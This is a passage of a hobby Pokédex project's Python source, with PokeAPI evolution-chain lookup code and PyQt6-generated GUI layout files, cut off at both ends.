(pokemon_json['species'])\n name, species_url = species_details['name'], species_details['url']\n print('species url:'+species_url)\n species_api = requests.get(species_url)\n species_json = json.loads(species_api.text)\n evolution_url = species_json['evolution_chain']['url']\n print('evolution url:'+evolution_url)\n evolution_id = (evolution_url.split('/'))[-2]\n\n evolution_page = requests.get(evolution_url)\n evolution_json = json.loads(evolution_page.text)\n\n first_evolution = evolution_json['chain']['species']['name']\n second_evolution = None;\n third_evolution = None;\n pokemon_list = []\n pokemon_list.append(call_pokemon(first_evolution))\n\n try:\n #arrumar para branched evolutions\n second_evolution = evolution_json['chain']['evolves_to'][0]['species']['name']\n pokemon_list.append(call_pokemon(second_evolution))\n\n except IndexError:\n pass\n \n try:\n #arrumar para branched evolutions\n third_evolution = evolution_json['chain']['evolves_to'][0]['evolves_to'][0]['species']['name']\n pokemon_list.append(call_pokemon(third_evolution))\n\n except IndexError:\n pass\n list_iter = iter(pokemon_list)\n for pokemon_in_list in list_iter:\n if (pokemon_in_list == pokemon):\n try:\n return next(list_iter)\n except:\n return None\n\n\n\n\ndef check_base_forms(species_json):\n base_forms = 1\n if species_json['evolves_from_species'] == None:\n pass\n else:\n\n json_page = requests.get(species_json['evolves_from_species']['url'])\n species_json = json.loads(json_page.text)\n\n\n for element in species_json['varieties']:\n if (element['is_default'] == True):\n pass\n\n if (element['is_default'] == False ):\n \n if ('alola' in element['pokemon']['name']) or ('galar' in element['pokemon']['name']):\n base_forms = base_forms + 1\n\n return base_forms\n\n\n\ndef get_evo_line_lenght(evolution_json):\n evolution_line_lenght = 1\n try:\n second_evolution = evolution_json['chain']['evolves_to'][0]['species']['name']\n evolution_line_lenght = evolution_line_lenght + 1\n \n except:\n pass\n \n try:\n third_evolution = evolution_json['chain']['evolves_to'][0]['evolves_to'][0]['species']['name']\n evolution_line_lenght = evolution_line_lenght + 1\n\n except:\n pass\n return evolution_line_lenght\n\n\ndef check_branched_evolution(species_json, evolution_json):\n evo_lenght = get_evo_line_lenght(evolution_json)\n second_evo_branches = 0\n third_evo_branches = 0\n branched_evolution = False\n alternate_form_list = None\n pokemon_2_evolution = None\n try:\n second_evolution = evolution_json['chain']['evolves_to']\n evolution_list = []\n for evolution in second_evolution:\n pokemon_name = evolution['species']['name']\n evolution_list.append(pokemon_name)\n pokemon_2_evolution = call_pokemon(pokemon_name)\n pokemon_2_evolution_species_json = pokemon_2_evolution_species_json\n alternate_form_list = get_alternate_forms(pokemon_2_evolution_species_json)\n \n if alternate_form_list == None:\n pass\n else:\n for alternate_form in alternate_form_list:\n if len(alternate_form_list) >= check_base_forms(pokemon_2_evolution):\n print('nao é branched!')\n else:\n evolution_list.append(alternate_form)\n \n if len(evolution_list)>1:\n print('branched evolution')\n branched_evolution = True\n second_evo_branches = len(evolution_list)\n try:\n second_evolution = evolution_json['chain']['evolves_to']\n another_evolution_list = []\n for evolution in second_evolution:\n for another_evolution in evolution['evolves_to']:\n another_evolution_list.append(another_evolution['species']['name'])\n alternate_form_list = get_alternate_forms(species_json)\n print(alternate_form_list)\n if alternate_form_list == None:\n pass\n else:\n for alternate_form in alternate_form_list:\n another_evolution_list.append(alternate_form)\n if another_evolution_list > 1:\n #branched third evo\n branched_evolution = True\n third_evo_branches = len(another_evolution_list)\n\n except:\n pass\n \n except:\n pass\n return branched_evolution, second_evo_branches, third_evo_branches\n\ndef get_alternate_forms(species_json):\n alternate_form_list = []\n for element in species_json['varieties']:\n if (element['is_default'] == True):\n pass\n\n if (element['is_default'] == False ):\n \n if ('alola' in element['pokemon']['name']) or ('galar' in element['pokemon']['name']):\n alternate_form_list.append(call_pokemon(element['pokemon']['name']))\n \n if len(alternate_form_list) > 0:\n return alternate_form_list\n else:\n return None\n\ndef get_species_json(pokemon):\n pokemon_api = requests.get(url='https://pokeapi.co/api/v2/pokemon/{}'.format(pokemon.dex))\n pokemon_json = json.loads(pokemon_api.text)\n species_details = (pokemon_json['species'])\n name, species_url = species_details['name'], species_details['url']\n species_api = requests.get(species_url)\n species_json = json.loads(species_api.text)\n print(species_url)\n\n return species_json\n\n\nif __name__ == \"__main__\":\n\n # get_evolution_json(call_pokemon(52))\n # get_evolution_json(call_pokemon(79))\n # get_evolution_json(call_pokemon(133))\n get_evolution_json(call_pokemon(122))\n get_evolution_json(call_pokemon(862))\n get_evolution_json(call_pokemon(104))\n #next_evo = get_evolution(call_pokemon(2))\n #check_regional_form(call_pokemon(19))\n\n" }, { "alpha_fraction": 0.6614881157875061, "alphanum_fraction": 0.6884709596633911, "avg_line_length": 40.45762634277344, "blob_id": "9aa374ae2455ef105048625c74ecbd423edc75d3", "content_id": "e5de1b8473785622815fe7534cced41109be2938", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2447, "license_type": "no_license", "max_line_length": 121, "num_lines": 59, "path": "/qt/dinidex_main_window.py", "repo_name": "vodiniz/dinidex", "src_encoding": "UTF-8", "text": "# Form implementation generated from reading ui file 'Dinidex_alternative_main_window_only.ui'\n#\n# Created by: PyQt6 UI code generator 6.1.0\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic6 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt6 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_DiniDex(object):\n def setupUi(self, DiniDex):\n DiniDex.setObjectName(\"DiniDex\")\n DiniDex.resize(919, 221)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"Resources/icone_programa.ico\"), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off)\n DiniDex.setWindowIcon(icon)\n DiniDex.setStyleSheet(\"background-color: rgb(0, 0, 0);\")\n self.centralwidget = QtWidgets.QWidget(DiniDex)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.pokemon_logo = QtWidgets.QWidget(self.centralwidget)\n self.pokemon_logo.setGeometry(QtCore.QRect(0, -40, 300, 200))\n self.pokemon_logo.setStyleSheet(\"image: url(:/Images/pokemon_logo.png);\\n\"\n\"background:transparent;\")\n self.pokemon_logo.setObjectName(\"pokemon_logo\")\n self.background = QtWidgets.QWidget(self.centralwidget)\n self.background.setGeometry(QtCore.QRect(0, 0, 941, 871))\n self.background.setStyleSheet(\"background-color: rgb(206, 76, 62);\\n\"\n\"\\n\"\n\"\")\n self.background.setObjectName(\"background\")\n self.search_bar = QtWidgets.QLineEdit(self.background)\n self.search_bar.setGeometry(QtCore.QRect(260, 130, 651, 40))\n self.search_bar.setStyleSheet(\"color: rgb(68, 68, 68);\\n\"\n\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius: 8px;\")\n self.search_bar.setObjectName(\"search_bar\")\n self.background.raise_()\n self.pokemon_logo.raise_()\n DiniDex.setCentralWidget(self.centralwidget)\n\n self.retranslateUi(DiniDex)\n QtCore.QMetaObject.connectSlotsByName(DiniDex)\n\n def retranslateUi(self, DiniDex):\n _translate = QtCore.QCoreApplication.translate\n DiniDex.setWindowTitle(_translate(\"DiniDex\", \"Dinidex - A simple Pokedex\"))\n self.search_bar.setText(_translate(\"DiniDex\", \"Digite o nome ou o número correspondente ao POKEDEX do pokemon.\"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n DiniDex = QtWidgets.QMainWindow()\n ui = Ui_DiniDex()\n ui.setupUi(DiniDex)\n DiniDex.show()\n sys.exit(app.exec())\n" }, { "alpha_fraction": 0.6360019445419312, "alphanum_fraction": 0.6773802638053894, "avg_line_length": 52.03486251831055, "blob_id": "440006717e6c03a587ef9a9fdc2bfc07e3a46be7", "content_id": "9130116abebd0e0a0b573fa67d70024b469ef46c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28906, "license_type": "no_license", "max_line_length": 169, "num_lines": 545, "path": "/qt/dinidexGUI.py", "repo_name": "vodiniz/dinidex", "src_encoding": "UTF-8", "text": "# Form implementation generated from reading ui file 'Dinidex_alternative.ui'\n#\n# Created by: PyQt6 UI code generator 6.1.0\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic6 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt6 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_DiniDex(object):\n def setupUi(self, DiniDex):\n DiniDex.setObjectName(\"DiniDex\")\n DiniDex.resize(920, 860)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\"resources/icon/program_icon.ico\"), QtGui.QIcon.Mode.Normal, QtGui.QIcon.State.Off)\n DiniDex.setWindowIcon(icon)\n DiniDex.setStyleSheet(\"background-color: rgb(0, 0, 0);\")\n self.centralwidget = QtWidgets.QWidget(DiniDex)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.pokemon_logo = QtWidgets.QWidget(self.centralwidget)\n self.pokemon_logo.setGeometry(QtCore.QRect(0, -40, 300, 200))\n self.pokemon_logo.setStyleSheet(\"image: url(resources/logo/pokemon_logo.png);\\n\"\n\"background:transparent;\")\n self.pokemon_logo.setObjectName(\"pokemon_logo\")\n self.background = QtWidgets.QWidget(self.centralwidget)\n self.background.setGeometry(QtCore.QRect(0, 0, 901, 871))\n self.background.setStyleSheet(\"background-color: rgb(206, 76, 62);\\n\"\n\"\\n\"\n\"\")\n self.background.setObjectName(\"background\")\n self.evolution_line_widget = QtWidgets.QWidget(self.background)\n self.evolution_line_widget.setGeometry(QtCore.QRect(260, 480, 631, 371))\n self.evolution_line_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.evolution_line_widget.setObjectName(\"evolution_line_widget\")\n self.evo1_type1 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo1_type1.setGeometry(QtCore.QRect(10, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo1_type1.setFont(font)\n self.evo1_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DO TIPO DO POKEMON\n\"background-color: transparent;\")\n self.evo1_type1.setText(\"\")\n self.evo1_type1.setObjectName(\"evo1_type1\")\n self.evo1_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo1_type2.setGeometry(QtCore.QRect(80, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo1_type2.setFont(font)\n self.evo1_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DO TIPO DO POKEMON\n\"background-color: transparent;\")\n self.evo1_type2.setText(\"\")\n self.evo1_type2.setObjectName(\"evo1_type2\")\n self.evo_detail_1_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo_detail_1_2.setGeometry(QtCore.QRect(170, 150, 51, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.evo_detail_1_2.setFont(font)\n self.evo_detail_1_2.setObjectName(\"evo_detail_1_2\")\n self.evolution1_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution1_sprite.setGeometry(QtCore.QRect(10, 100, 140, 140))\n self.evolution1_sprite.setStyleSheet(\"image: url(resources/sprites/1.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DA SPRITE COM NUMERO DA DEX.\n\"\")\n self.evolution1_sprite.setText(\"\")\n self.evolution1_sprite.setObjectName(\"evolution1_sprite\")\n self.evolution2_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution2_sprite.setGeometry(QtCore.QRect(230, 100, 140, 140))\n self.evolution2_sprite.setStyleSheet(\"image: url(resources/sprites/2.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DA SPRITE COM NUMERO DA DEX.\n\"background:transparent;\\n\"\n\"\")\n self.evolution2_sprite.setText(\"\")\n self.evolution2_sprite.setObjectName(\"evolution2_sprite\")\n self.evolution3_sprite = QtWidgets.QLabel(self.evolution_line_widget)\n self.evolution3_sprite.setGeometry(QtCore.QRect(460, 100, 140, 140))\n self.evolution3_sprite.setStyleSheet(\"image: url(resources/sprites/3.png);\\n\"\n\"background:transparent;\\n\"\n\"\")\n self.evolution3_sprite.setText(\"\")\n self.evolution3_sprite.setObjectName(\"evolution3_sprite\")\n self.evo2_type2_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo2_type2_2.setGeometry(QtCore.QRect(240, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo2_type2_2.setFont(font)\n self.evo2_type2_2.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE \n\"background-color: transparent;\")\n self.evo2_type2_2.setText(\"\")\n self.evo2_type2_2.setObjectName(\"evo2_type2_2\")\n self.evo2_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo2_type2.setGeometry(QtCore.QRect(310, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo2_type2.setFont(font)\n self.evo2_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.evo2_type2.setText(\"\")\n self.evo2_type2.setObjectName(\"evo2_type2\")\n self.evo3_type1 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo3_type1.setGeometry(QtCore.QRect(460, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo3_type1.setFont(font)\n self.evo3_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.evo3_type1.setText(\"\")\n self.evo3_type1.setObjectName(\"evo3_type1\")\n self.evo3_type2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo3_type2.setGeometry(QtCore.QRect(530, 240, 70, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.evo3_type2.setFont(font)\n self.evo3_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.evo3_type2.setText(\"\")\n self.evo3_type2.setObjectName(\"evo3_type2\")\n self.arrow_evo_2_4 = QtWidgets.QLabel(self.evolution_line_widget)\n self.arrow_evo_2_4.setGeometry(QtCore.QRect(390, 170, 51, 31))\n self.arrow_evo_2_4.setStyleSheet(\"image: url(resources/arrow/default_right_arrow.png);\\n\"\n\"background-color: transparent;\")\n self.arrow_evo_2_4.setText(\"\")\n self.arrow_evo_2_4.setObjectName(\"arrow_evo_2_4\")\n self.evo_detail_2_3 = QtWidgets.QLabel(self.evolution_line_widget)\n self.evo_detail_2_3.setGeometry(QtCore.QRect(400, 150, 51, 16))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.evo_detail_2_3.setFont(font)\n self.evo_detail_2_3.setObjectName(\"evo_detail_2_3\")\n self.arrow_evo_1_2 = QtWidgets.QLabel(self.evolution_line_widget)\n self.arrow_evo_1_2.setGeometry(QtCore.QRect(170, 170, 51, 31))\n self.arrow_evo_1_2.setStyleSheet(\"image: url(resources/arrow/default_right_arrow.png);\\n\"\n\"background-color: transparent;\")\n self.arrow_evo_1_2.setText(\"\")\n self.arrow_evo_1_2.setObjectName(\"arrow_evo_1_2\")\n self.evolution3_sprite.raise_()\n self.evolution1_sprite.raise_()\n self.evo1_type1.raise_()\n self.evo1_type2.raise_()\n self.evo_detail_1_2.raise_()\n self.evolution2_sprite.raise_()\n self.evo2_type2_2.raise_()\n self.evo2_type2.raise_()\n self.evo3_type1.raise_()\n self.evo3_type2.raise_()\n self.arrow_evo_2_4.raise_()\n self.evo_detail_2_3.raise_()\n self.arrow_evo_1_2.raise_()\n self.label_type1 = QtWidgets.QLabel(self.background)\n self.label_type1.setGeometry(QtCore.QRect(5, 440, 115, 30))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.label_type1.setFont(font)\n self.label_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\"\n\"background-color: transparent;\")\n self.label_type1.setText(\"\")\n self.label_type1.setObjectName(\"pokemon_type1\")\n self.label_type2 = QtWidgets.QLabel(self.background)\n self.label_type2.setGeometry(QtCore.QRect(120, 440, 115, 31))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.label_type2.setFont(font)\n self.label_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\"\n\"background-color: transparent;\")\n self.label_type2.setText(\"\")\n self.label_type2.setObjectName(\"pokemon_type2\")\n self.sprite_pokemon = QtWidgets.QWidget(self.background)\n self.sprite_pokemon.setGeometry(QtCore.QRect(20, 170, 221, 221))\n self.sprite_pokemon.setStyleSheet(\"image: url(resources/sprites/1.png);\\n\"\n\"background:transparent;\\n\"\n\"\")\n self.sprite_pokemon.setObjectName(\"sprite_pokemon\")\n self.stats_widget = QtWidgets.QWidget(self.background)\n self.stats_widget.setGeometry(QtCore.QRect(500, 210, 391, 261))\n self.stats_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.stats_widget.setObjectName(\"stats_widget\")\n self.label_hp = QtWidgets.QLabel(self.stats_widget)\n self.label_hp.setGeometry(QtCore.QRect(10, 20, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_hp.setFont(font)\n self.label_hp.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp.setObjectName(\"label_hp\")\n self.label_attack = QtWidgets.QLabel(self.stats_widget)\n self.label_attack.setGeometry(QtCore.QRect(10, 60, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_attack.setFont(font)\n self.label_attack.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack.setObjectName(\"label_attack\")\n self.label_defense = QtWidgets.QLabel(self.stats_widget)\n self.label_defense.setGeometry(QtCore.QRect(10, 100, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_defense.setFont(font)\n self.label_defense.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense.setObjectName(\"label_defense\")\n self.label_spattack = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack.setGeometry(QtCore.QRect(10, 140, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spattack.setFont(font)\n self.label_spattack.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack.setObjectName(\"label_spattack\")\n self.label_spdefense = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense.setGeometry(QtCore.QRect(10, 180, 80, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spdefense.setFont(font)\n self.label_spdefense.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense.setObjectName(\"label_spdefense\")\n self.label_speed = QtWidgets.QLabel(self.stats_widget)\n self.label_speed.setGeometry(QtCore.QRect(10, 220, 81, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_speed.setFont(font)\n self.label_speed.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed.setObjectName(\"label_speed\")\n self.label_defense_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_defense_bar.setGeometry(QtCore.QRect(140, 110, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_defense_bar.setFont(font)\n self.label_defense_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_defense_bar.setText(\"\")\n self.label_defense_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense_bar.setObjectName(\"label_defense_bar\")\n self.label_spattack_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack_bar.setGeometry(QtCore.QRect(140, 150, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_spattack_bar.setFont(font)\n self.label_spattack_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_spattack_bar.setText(\"\")\n self.label_spattack_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack_bar.setObjectName(\"label_spattack_bar\")\n self.label_spdefense_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense_bar.setGeometry(QtCore.QRect(140, 190, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_spdefense_bar.setFont(font)\n self.label_spdefense_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_spdefense_bar.setText(\"\")\n self.label_spdefense_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense_bar.setObjectName(\"label_spdefense_bar\")\n self.label_speed_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_speed_bar.setGeometry(QtCore.QRect(140, 230, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_speed_bar.setFont(font)\n self.label_speed_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_speed_bar.setText(\"\")\n self.label_speed_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed_bar.setObjectName(\"label_speed_bar\")\n self.label_attack_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_attack_bar.setGeometry(QtCore.QRect(140, 70, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_attack_bar.setFont(font)\n self.label_attack_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_attack_bar.setText(\"\")\n self.label_attack_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack_bar.setObjectName(\"label_attack_bar\")\n self.label_hp_bar = QtWidgets.QLabel(self.stats_widget)\n self.label_hp_bar.setGeometry(QtCore.QRect(140, 30, 140, 6))\n font = QtGui.QFont()\n font.setPointSize(15)\n self.label_hp_bar.setFont(font)\n self.label_hp_bar.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"border-radius: 3px;\")\n self.label_hp_bar.setText(\"\")\n self.label_hp_bar.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp_bar.setObjectName(\"label_hp_bar\")\n self.label_hp_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_hp_stat.setGeometry(QtCore.QRect(90, 20, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_hp_stat.setFont(font)\n self.label_hp_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_hp_stat.setObjectName(\"label_hp_stat\")\n self.label_attack_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_attack_stat.setGeometry(QtCore.QRect(90, 60, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_attack_stat.setFont(font)\n self.label_attack_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_attack_stat.setObjectName(\"label_attack_stat\")\n self.label_defense_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_defense_stat.setGeometry(QtCore.QRect(90, 100, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_defense_stat.setFont(font)\n self.label_defense_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_defense_stat.setObjectName(\"label_defense_stat\")\n self.label_spattack_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_spattack_stat.setGeometry(QtCore.QRect(90, 140, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spattack_stat.setFont(font)\n self.label_spattack_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spattack_stat.setObjectName(\"label_spattack_stat\")\n self.label_spdefense_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_spdefense_stat.setGeometry(QtCore.QRect(90, 180, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_spdefense_stat.setFont(font)\n self.label_spdefense_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_spdefense_stat.setObjectName(\"label_spdefense_stat\")\n self.label_speed_stat = QtWidgets.QLabel(self.stats_widget)\n self.label_speed_stat.setGeometry(QtCore.QRect(90, 220, 41, 21))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.label_speed_stat.setFont(font)\n self.label_speed_stat.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.label_speed_stat.setObjectName(\"label_speed_stat\")\n self.abilities_widget = QtWidgets.QWidget(self.background)\n self.abilities_widget.setGeometry(QtCore.QRect(260, 350, 230, 121))\n self.abilities_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.abilities_widget.setObjectName(\"abilities_widget\")\n self.abilities_title = QtWidgets.QLabel(self.abilities_widget)\n self.abilities_title.setGeometry(QtCore.QRect(0, 1, 230, 20))\n font = QtGui.QFont()\n font.setPointSize(13)\n self.abilities_title.setFont(font)\n self.abilities_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.abilities_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.abilities_title.setObjectName(\"abilities_title\")\n self.na_ability1 = QtWidgets.QLabel(self.abilities_widget)\n self.na_ability1.setGeometry(QtCore.QRect(0, 60, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.na_ability1.setFont(font)\n self.na_ability1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.na_ability1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.na_ability1.setObjectName(\"na_ability1\")\n self.nability_title = QtWidgets.QLabel(self.abilities_widget)\n self.nability_title.setGeometry(QtCore.QRect(0, 30, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.nability_title.setFont(font)\n self.nability_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.nability_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.nability_title.setObjectName(\"nability_title\")\n self.na_ability2 = QtWidgets.QLabel(self.abilities_widget)\n self.na_ability2.setGeometry(QtCore.QRect(0, 90, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.na_ability2.setFont(font)\n self.na_ability2.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.na_ability2.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.na_ability2.setObjectName(\"na_ability2\")\n self.hability_title = QtWidgets.QLabel(self.abilities_widget)\n self.hability_title.setGeometry(QtCore.QRect(115, 30, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.hability_title.setFont(font)\n self.hability_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.hability_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.hability_title.setObjectName(\"hability_title\")\n self.ha_ability1 = QtWidgets.QLabel(self.abilities_widget)\n self.ha_ability1.setGeometry(QtCore.QRect(115, 60, 115, 20))\n font = QtGui.QFont()\n font.setPointSize(8)\n self.ha_ability1.setFont(font)\n self.ha_ability1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.ha_ability1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.ha_ability1.setObjectName(\"ha_ability1\")\n self.description_widget = QtWidgets.QWidget(self.background)\n self.description_widget.setGeometry(QtCore.QRect(260, 210, 230, 131))\n self.description_widget.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"border-radius:8px;\\n\"\n\"\")\n self.description_widget.setObjectName(\"description_widget\")\n self.description_title = QtWidgets.QLabel(self.description_widget)\n self.description_title.setGeometry(QtCore.QRect(0, 0, 231, 21))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setStyleStrategy(QtGui.QFont.StyleStrategy.PreferDefault)\n self.description_title.setFont(font)\n self.description_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.description_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.description_title.setObjectName(\"description_title\")\n self.description_text = QtWidgets.QLabel(self.description_widget)\n self.description_text.setGeometry(QtCore.QRect(10, 40, 211, 71))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.description_text.setFont(font)\n self.description_text.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.description_text.setWordWrap(True)\n self.description_text.setObjectName(\"description_text\")\n self.pokedex_pokemon = QtWidgets.QWidget(self.background)\n self.pokedex_pokemon.setGeometry(QtCore.QRect(15, 400, 211, 31))\n self.pokedex_pokemon.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:10px;\")\n self.pokedex_pokemon.setObjectName(\"pokedex_pokemon\")\n self.name_pokemon = QtWidgets.QLabel(self.pokedex_pokemon)\n self.name_pokemon.setGeometry(QtCore.QRect(50, 0, 160, 31))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.name_pokemon.setFont(font)\n self.name_pokemon.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 